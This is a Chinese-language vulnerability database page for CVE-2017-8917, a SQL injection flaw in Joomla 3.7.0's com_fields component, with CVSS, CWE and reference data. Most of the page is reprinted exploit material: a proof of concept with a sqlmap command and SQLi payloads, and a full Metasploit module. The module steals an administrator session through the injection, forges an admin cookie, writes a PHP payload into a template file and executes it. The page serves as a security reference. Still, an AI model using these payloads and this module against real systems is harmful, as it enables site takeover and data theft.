CVE-2017-8917
CVSS7.5
发布时间 :2017-05-17 19:29:00
修订时间 :2018-03-31 21:29:00
NMPS    

[原文]SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.


[CNNVD]CNNVD数据暂缺。


[机译]译文暂缺.

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-89 [SQL命令中使用的特殊元素转义处理不恰当(SQL注入)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8917
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-8917
(官方数据源) NVD

- 其它链接及资源

http://www.securityfocus.com/bid/98515
(VENDOR_ADVISORY)  BID  98515
http://www.securitytracker.com/id/1038522
(UNKNOWN)  SECTRACK  1038522
https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
(VENDOR_ADVISORY)  CONFIRM  https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
https://www.exploit-db.com/exploits/42033/
(UNKNOWN)  EXPLOIT-DB  42033
https://www.exploit-db.com/exploits/44358/
(UNKNOWN)  EXPLOIT-DB  44358

- 漏洞信息 (F142601)

Joomla 3.7.0 Fields SQL Injection (PacketStormID:F142601)
2017-05-20 00:00:00
Mateus Lino  
exploit,remote,sql injection
CVE-2017-8917
[点击下载]

The Joomla version 3.7.0 fields component suffers from a remote SQL injection vulnerability.

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
 
 
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
 
 
Using Sqlmap: 
 
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
 
 
Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
 
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
 
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

    

- 漏洞信息 (F146946)

Joomla Fields SQL Injection / Code Execution (PacketStormID:F146946)
2018-03-29 00:00:00
Mateus Lino,luisco100  metasploit.com
exploit,sql injection
CVE-2017-8917
[点击下载]

This Metasploit module exploits a SQL injection vulnerability in the com_fields component, which was introduced to the core of Joomla in version 3.7.0.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Joomla

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Joomla Component Fields SQLi Remote Code Execution',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability in the com_fields
        component, which was introduced to the core of Joomla in version 3.7.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mateus Lino', # Vulnerability discovery
          'luisco100 <luisco100[at]gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2017-8917' ], # SQLi
          [ 'EDB', '42033' ],
          [ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]
        ],
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space'       => 262144, # 256k
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Joomla 3.7.0', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 17 2017',
      'DefaultTarget'  => 0))

  end

  def check
    # Request using a non-existing table
    val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')

    if val.nil?
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end


  def sqli(tableprefix, option)
    # SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).
    # The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.
    # This way we make sure that's excluded and we only get real Administrator or Super User sessions.
    if option == 'check'
      start = rand_text_alpha(5)
      start_h = start.unpack('H*')[0]
      fin = rand_text_alpha(5)
      fin_h = fin.unpack('H*')[0]

      sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"
    else
      start = rand_text_alpha(3)
      start_h = start.unpack('H*')[0]
      fin = rand_text_alpha(3)
      fin_h = fin.unpack('H*')[0]

      sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"
    end

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'option' => 'com_fields',
        'view' => 'fields',
        'layout'=> 'modal',
        'list[fullordering]' => sql
        }
      })

    if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/
      return $1
    end
    return nil
  end


  def exploit
    # Request using a non-existing table first, to retrieve the table prefix
    val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
    if val.nil?
      fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
    else
      table_prefix = Base64.decode64(val)
      table_prefix.sub! '_session', ''
      print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
    end

    # Retrieve the admin session using our retrieved table prefix
    val = sqli("#{table_prefix}_", 'exploit')
    if val.nil?
      fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")
    else
      auth_cookie_part = val
      print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")
    end

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php')
    })

    if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
      cookie_begin = $1
      print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
    end

    # Modify cookie to authenticated admin
    auth_cookie = cookie_begin
    auth_cookie << '='
    auth_cookie << auth_cookie_part
    auth_cookie << ';'

    # Authenticated session
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie
      })

    if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/
      print_good("#{peer} - Successfully authenticated")
    else
      fail_with(Failure::Unknown, "#{peer} - Session failure")
    end

    # Retrieve template view
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'templates'
        }
      })

    # We try to retrieve and store the first template found
    if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
      template_id = $1
      file_id = $2

      form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)
      input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
      input_id = input_hidden[7].split("\"")
      input_id = input_id[1]

    else
      fail_with(Failure::Unknown, "Unable to retrieve template")
    end



    filename = rand_text_alphanumeric(rand(10)+6)
    # Create file
    print_status("#{peer} - Creating file [ #{filename}.php ]")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'task' => 'template.createFile',
        'id' => template_id,
        'file' => file_id,
        },
      'vars_post' => {
        'type' => 'php',
        'address' => '',
        input_id => '1',
        'name' => filename
      }
      })

    # Grab token
    if res && res.code == 303 && res.headers['Location']
      location = res.headers['Location']
      print_status("#{peer} - Following redirect to [ #{location} ]")
      res = send_request_cgi(
        'uri'    => location,
        'method' => 'GET',
        'cookie' => auth_cookie
      )

      # Retrieving template token
      if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
        token = $1
        print_status("#{peer} - Token [ #{token} ] retrieved")
      else
        fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
      end

      if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
        template_path = $1
        print_status("#{peer} - Template path [ #{template_path} ] retrieved")
      else
        fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
      end

    else
      fail_with(Failure::Unknown, "#{peer} - Creating file failed")
    end

    filename_base64 = Rex::Text.encode_base64("/#{filename}.php")

    # Inject payload data into file
    print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'template',
        'id' => template_id,
        'file' => filename_base64,
        },
      'vars_post' => {
        'jform[source]' => payload.encoded,
        'task' => 'template.apply',
        token => '1',
        'jform[extension_id]' => template_id,
        'jform[filename]' => "/#{filename}.php"
      }
      })

    if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
      print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
    end

    # Request payload
    register_files_for_cleanup("#{filename}.php")
    print_status("#{peer} - Executing payload")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
      'cookie'  => auth_cookie
    })
  end
end
    

- 漏洞信息

Joomla! Core CVE-2017-8917 SQL-Injection Vulnerability
Input Validation Error 98515
Yes No
2017-05-11 12:00:00 2017-05-11 12:00:00
Marc-Alexandre Montpas

- 受影响的程序版本

Joomla Joomla! 3.7
,Joomla Joomla! 3.7.1

- 不受影响的程序版本

Joomla Joomla! 3.7.1

- 漏洞讨论

Joomla! Core is prone to an sql-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! version 3.7.0 is vulnerable.

- 漏洞利用

Attackers can use a browser to exploit this issue.

- 解决方案

Updates are available. Please see the references or vendor advisory for more information.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站